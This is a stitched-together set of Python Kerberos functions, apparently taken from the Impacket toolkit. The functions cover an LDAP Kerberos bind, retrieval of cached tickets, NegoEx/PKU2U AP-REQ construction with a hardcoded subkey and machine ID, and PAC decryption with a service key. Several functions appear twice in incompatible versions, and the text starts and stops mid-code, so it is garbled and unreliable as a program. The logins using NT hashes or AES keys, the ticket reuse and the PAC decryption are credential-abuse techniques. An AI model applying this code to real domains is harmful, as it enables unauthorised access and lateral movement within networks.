tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal(
'ldap/%s' % self.__target,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
serverName, domain, kdcHost, tgt, cipher, sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator,
None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
request = ldap3.operation.bind.bind_operation(connection.version,
ldap3.SASL, user, None,
'GSS-SPNEGO',
blob.getData())
# Done with the Kerberos saga, now let's get into LDAP
if connection.closed: # try to open connection if closed
connection.open(read_server_info=False)
connection.sasl_in_progress = True
response = connection.post_send_single_response(
connection.send('bindRequest', request, None))
connection.sasl_in_progress = False
if response[0]['result'] != 0:
raise Exception(response)
connection.bound = True
return True
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer):
a = (minikerberos.protocol.asn1_structs.AS_REP(tgtResponse['Kerberos']))
decodedTGT = decoder.decode(a.dump(), asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket() # should be -128 name-type
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.KDCOptions.forwarded.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = decodedTGT['crealm'].asOctets()
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = 2 #now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
# GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG
chkField['Flags'] = 16418
subKey = bytes.fromhex(
'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3')
checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value]
keyServer = Key(Enctype.AES256, subKey)
kerbFinished = {}
kerbFinished['gss-mic'] = {
'cksumtype':
16,
'checksum':
checksumtype.checksum(keyServer, 41,
bytes.fromhex(gssAPIChecksumBuffer))
}
kerbFinished = KRB_FINISHED(kerbFinished)
authenticator['cksum']['checksum'] = chkField.getData() + bytes.fromhex(
GenerateExtensions(kerbFinished.dump()))
authenticator['subkey']['keytype'] = 18
authenticator['subkey']['keyvalue'] = subKey
authenticator['seq-number'] = 682437742
tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY()
tokenIntegrity.Flags = 1
tokenIntegrity.MachineID = bytes.fromhex(
'7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde')
tokenIntegrity.TokenIL = int('2000', 16)
RESTRICTION_ENTRY = [{
'restriction-type': 0,
'restriction': bytes.fromhex(Pack(tokenIntegrity))
}]
KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData()
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0][
'ad-data'] = KERB_AD_RESTRICTION_ENTRYS(RESTRICTION_ENTRY).dump()
# AD_IF_RELEVANT
authenticator['authorization-data'][0]['ad-type'] = 1
authenticator['authorization-data'][0]['ad-data'] = encoder.encode(
KERB_AUTH_DATA_TOKEN_RESTRICTIONS)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
## should be key usage 11
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator, None)
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
apReqNegoEx = {}
apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7'
apReqNegoEx['null'] = core.Boolean(True, contents=b'')
apReqNegoEx['Kerberos'] = minikerberos.protocol.asn1_structs.AP_REQ.load(
encoder.encode(apReq))
apReqNegoEx = SPNEGO_PKINIT_AP_REQ(apReqNegoEx)
data = (apReqNegoEx.dump().hex())
return data
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer):
apReqNegoEx = SPNEGO_PKINIT()
apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7'
apReqNegoEx['null'] = univ.Boolean(True)
# Extract the ticket from the TGT
ticket = Ticket() # should be -128 name-type
ticket.from_asn1(tgtResponse['ticket'])
apReqNegoEx['Kerberos']['ApReq']['pvno'] = 5
apReqNegoEx['Kerberos']['ApReq']['msg-type'] = int(
constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.KDCOptions.forwarded.value)
apReqNegoEx['Kerberos']['ApReq']['ap-options'] = constants.encodeFlags(
opts)
seq_set(apReqNegoEx['Kerberos']['ApReq'], 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = tgtResponse['crealm'].asOctets()
clientName = PrincipalModified()
clientName.from_asn1(tgtResponse, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = 2 #now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
# GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG
chkField['Flags'] = 16418
subKey = 'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3'.decode(
'hex')
checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value]
keyServer = Key(Enctype.AES256, subKey)
kerbFinished = KRB_FINISHED()
kerbFinished['gss-mic']['cksumtype'] = 16
kerbFinished['gss-mic']['checksum'] = checksumtype.checksum(
keyServer, 41, gssAPIChecksumBuffer.decode('hex'))
authenticator['cksum']['checksum'] = chkField.getData() + (
GenerateExtensions(
encoder.encode(kerbFinished).encode('hex'))).decode('hex')
authenticator['subkey']['keytype'] = 18
authenticator['subkey']['keyvalue'] = subKey
authenticator['seq-number'] = 682437742
tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY()
tokenIntegrity.Flags = 1
tokenIntegrity.MachineID = '7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde'.decode(
'hex')
tokenIntegrity.TokenIL = int('2000', 16)
RESTRICTION_ENTRY = KERB_AD_RESTRICTION_ENTRYS()
RESTRICTION_ENTRY[0]['restriction-type'] = 0 # const
RESTRICTION_ENTRY[0]['restriction'] = Pack(tokenIntegrity).decode('hex')
KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData()
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-data'] = encoder.encode(
RESTRICTION_ENTRY)
# AD_IF_RELEVANT
authenticator['authorization-data'][0]['ad-type'] = 1
authenticator['authorization-data'][0]['ad-data'] = encoder.encode(
KERB_AUTH_DATA_TOKEN_RESTRICTIONS)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
## should be key usage 11
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator, None)
apReqNegoEx['Kerberos']['ApReq']['authenticator']['etype'] = cipher.enctype
apReqNegoEx['Kerberos']['ApReq']['authenticator'][
'cipher'] = encryptedEncodedAuthenticator
data = encoder.encode(apReqNegoEx).encode('hex')
data = data[:4] + "{0:0{1}x}".format(int(data[4:8], 16) - 1,
4) + data[8:26] + '00' + data[30:]
return data
def run(self):
# Do we have a TGT cached?
tgt = None
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
if options.target_domain:
if options.via_domain:
principal = 'krbtgt/%s@%s' % (options.target_domain.upper(), options.via_domain.upper())
else:
principal = 'krbtgt/%s@%s' % (options.target_domain.upper(), self.__domain.upper())
else:
principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper())
# For just decoding a TGS, override principal
# principal = 'cifs/[email protected]'
creds = ccache.getCredential(principal, False)
creds.dump()
if creds is not None:
# For just decoding a TGS, use toTGS()
TGT = creds.toTGT()
tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
oldSessionKey = sessionKey
logging.info('Using TGT from cache')
else:
logging.error("No valid credentials found in cache. ")
return
except:
# No cache present
logging.error("Cache file not valid or not found")
raise
print()
# Print TGT
# For just decoding a TGS, use TGS_REP()
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
cipherText = decodedTGT['ticket']['enc-part']['cipher']
newCipher = _enctype_table[int(decodedTGT['ticket']['enc-part']['etype'])]
# hash / AES key for the TGT / TGS goes here
self.__nthash = 'yourkeyhere'
if self.__nthash != '':
key = Key(newCipher.enctype, binascii.unhexlify(self.__nthash))
try:
# If is was plain U2U, this is the key
plainText = newCipher.decrypt(key, 2, cipherText)
except:
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
# Print PAC in human friendly form
self.printPac(plainText, True)
# Get TGS and print it
logging.info('Getting ST for user')
serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
if options.target_domain:
domain = options.target_domain
else:
domain = self.__domain
print(domain)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, clientrealm=self.__domain)
self.__saveFileName = self.__user
decodedTGS = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(decodedTGS.prettyPrint())
# Get PAC
cipherText = decodedTGS['ticket']['enc-part']['cipher']
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])]
# hash / AES key for the TGT / TGS goes here
self.__nthash = 'yourkeyhere'
if self.__nthash != '':
key = Key(newCipher.enctype, binascii.unhexlify(self.__nthash))
try:
# If is was plain U2U, this is the key
plainText = newCipher.decrypt(key, 2, cipherText)
except:
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
# Print PAC in human friendly form
self.printPac(plainText)
# Save the ticket in case we want to use it later
self.saveTicket(tgs,oldSessionKey)
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
TGS=None, useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises a LDAPSessionError if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2:
lmhash = '0' + lmhash
if len(nthash) % 2:
nthash = '0' + nthash
try: # just in case they were converted already
lmhash = bytes.fromhex(lmhash)
nthash = bytes.fromhex(nthash)
except TypeError:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
import datetime
if TGT is not None or TGS is not None:
useCache = False
targetName = 'ldap/%s' % self._dstHost
if useCache:
domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName)
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
aesKey, kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# Done with the Kerberos saga, now let's get into LDAP
bindRequest = BindRequest()
bindRequest['version'] = 3
bindRequest['name'] = user
bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'
bindRequest['authentication']['sasl']['credentials'] = blob.getData()
response = self.sendReceive(bindRequest)[0]['protocolOp']
if response['bindResponse']['resultCode'] != ResultCode('success'):
raise LDAPSessionError(
errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(),
response['bindResponse']['diagnosticMessage'])
)
return True
def getKerberosType1(username,
password,
domain,
lmhash,
nthash,
aesKey='',
TGT=None,
TGS=None,
targetName='',
kdcHost=None,
useCache=True):
# Convert to binary form, just in case we're receiving strings
if isinstance(lmhash, str):
try:
lmhash = unhexlify(lmhash)
except TypeError:
pass
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
if TGT is None and TGS is None:
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception:
# No cache present
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
LOG.debug('Domain retrieved from CCache: %s' % domain)
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'host/%s@%s' % (targetName.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS(principal)
# retrieve user information from CCache file if needed
if username == '' and creds is not None:
username = creds['client'].prettyPrint().split(
b'@')[0].decode('utf-8')
LOG.debug('Username retrieved from CCache: %s' % username)
elif username == '' and len(ccache.principal.components) > 0:
username = ccache.principal.components[0]['data'].decode(
'utf-8')
LOG.debug('Username retrieved from CCache: %s' % username)
# First of all, we need to get a TGT for the user
userName = Principal(username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
if TGT is None:
if TGS is None:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, password, domain, lmhash, nthash, aesKey,
kdcHost)
except KerberosError as e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash == b'' and nthash == b'' and (
aesKey == b'' or aesKey is None
) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug(
'Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
continue
else:
raise
else:
raise
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
# Now that we have the TGT, we should ask for a TGS for cifs
if TGS is None:
serverName = Principal(
'host/%s' % targetName,
type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
serverName, domain, kdcHost, tgt, cipher, sessionKey)
except KerberosError as e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash == b'' and nthash == b'' and (
aesKey == b''
or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum'] = noValue
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
chkField[
'Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
#chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
authenticator['cksum']['checksum'] = chkField.getData()
authenticator['seq-number'] = 0
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode(
struct.pack('B', ASN1_OID) +
asn1encode(TypesMech['KRB5 - Kerberos 5']) + KRB5_AP_REQ +
encoder.encode(apReq))
return cipher, sessionKey, blob.getData()
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True):
if TGT is None and TGS is None:
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception:
# No cache present
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
LOG.debug('Domain retrieved from CCache: %s' % domain)
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'host/%s@%s' % (targetName.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS(principal)
# retrieve user information from CCache file if needed
if username == '' and creds is not None:
username = creds['client'].prettyPrint().split(b'@')[0]
LOG.debug('Username retrieved from CCache: %s' % username)
elif username == '' and len(ccache.principal.components) > 0:
username = ccache.principal.components[0]['data']
LOG.debug('Username retrieved from CCache: %s' % username)
# First of all, we need to get a TGT for the user
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
if TGT is None:
if TGS is None:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
continue
else:
raise
else:
raise
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
# Now that we have the TGT, we should ask for a TGS for cifs
if TGS is None:
serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum'] = noValue
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
#chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
authenticator['cksum']['checksum'] = chkField.getData()
authenticator['seq-number'] = 0
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(
TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq))
return cipher, sessionKey, blob.getData()
def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey):
# Decode the TGT
try:
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
except:
decodedTGT = decoder.decode(tgt, asn1Spec=TGS_REP())[0]
domain = domain.upper()
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
